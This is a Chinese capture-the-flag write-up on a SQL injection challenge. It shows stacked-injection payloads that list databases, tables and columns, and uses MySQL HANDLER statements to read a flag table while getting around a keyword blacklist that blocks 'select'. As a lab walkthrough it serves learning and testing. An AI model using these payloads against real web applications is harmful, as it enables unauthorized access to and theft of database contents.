题目:
进去默认就有个1在那里,点击提交查询试试看
出来一列一列的数据,推测是sql注入
判断是什么注入
直接1' 提交
确定是sql注入,并且是单引号注入
联合注入,查询数据库的字段数
1' union select 1,2,3#
返回
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
这是告诉我们过滤了这些关键字,应该是黑名单这个东西 也就是blacklist
观察发现;没有被过滤,可以尝试使用堆叠注入
堆叠注入:
爆数据库
1;show databases;#
爆表
不知道爆上面哪个数据库的表,因为都没有flag的迹象
可以先爆当前默认的数据库的,直接show tables;就可以,爆当前的库的表
1';show tables;#
有发现,当前数据库里有个表叫FlagHere,意思就是flag在这个表里,听他的爆这个表里的字段(列)
爆字段
表名用`(反引号)包裹起来
1';show columns from `FlagHere`;#
看到里面有个字段叫flag,最后爆字段的数据
爆数据
正常爆数据用的关键词被过滤了,这里用新方法,handler命令
关于handler命令
原文链接:https://blog.csdn.net/weixin_44477223/article/details/115285538
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含在SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表
原文链接:https://blog.csdn.net/weixin_44477223/article/details/115285538
首先通过HANDLER tbl_name OPEN打开一张表,无返回结果,可实际上我们已经在这里声明了一个名为tb1_name的句柄。
然后通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行完了之后如果再执行NEXT则会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
如果我们不想浏览一个表的所有行,还可以使用where和limit子句
实例:
来源:https://blog.csdn.net/qq_45925514/article/details/125085628
HANDLER table_name OPEN:打开一个表的句柄。
HANDLER table_name READ index:访问表的索引。
HANDLER table_name CLOSE:关闭已经打开的句柄。
# 1、通过指定的索引查询
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、通过特定的索引查看表
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# FIRST:获取第一行(索引最小的一行)
# NEXT:获取下一行
# PREV:获取上一行
# LAST:获取最后一行(索引最大的一行)
# 2、不通过索引查看表
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行
# 最后一行执行完了之后如果再执行 READ NEXT 则会返回一个空的结果
## 完整示例
### 通过指定的索引查看表
指定查看表的索引4的值
mysql> HANDLER test_table OPEN;HANDLER test_table READ test_index=(4);HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec)
### 通过索引查看表
First获取索引第一行,查出来是id=3,说明这个表里id=3是索引最小的,索引为1
mysql> HANDLER test_table OPEN;HANDLER test_table READ FIRST;HANDLER test_table CLOSE;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
Query OK, 0 rows affected (0.00 sec
### 通过依次获取索引的下一行查看表
第一次查第一行,是id=3
mysql> HANDLER test_table OPEN;HANDLER test_table READ NEXT;
Query OK, 0 rows affected (0.00 sec)
+------+------+
| id | name |
+------+------+
| 3 | |
+------+------+
1 row in set (0.00 sec)
第二次查就是第二行,是id=4
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 4 | |
+------+------+
1 row in set (0.00 sec)
依此类推,id=5,id=6等等,但是不一定,因为这里是id值,不代表索引值 下面是1,2只是说明索引跟id值没对上,这里是看索引区分第几行,不看id值
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 5 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 1 | |
+------+------+
1 row in set (0.00 sec)
mysql> HANDLER test_table READ NEXT;
+------+------+
| id | name |
+------+------+
| 2 | |
+------+------+
1 row in set (0.00 sec)
查完了还继续查就返回空
mysql> HANDLER test_table READ NEXT;
Empty set (0.00 sec)
#### 最后索引结束返回空
构造
#payload
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ NEXT;HANDLER FlagHere CLOSE;#
打开叫FlagHere(目标表名)的句柄,读这个句柄里的下一个索引(NEXT),里的字段里的值,然后关闭句柄
这样能读到字段flag里面的值
这个下一个索引(NEXT),就是第一个索引(First),因为READ FIRST也能读到flag字段里的值
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
而且flag是表FlagHere里的第一个字段(索引为一),如上图,所以是FIRST,但是这里NEXT也行,可能
NEXT的第一次读的就是FIRST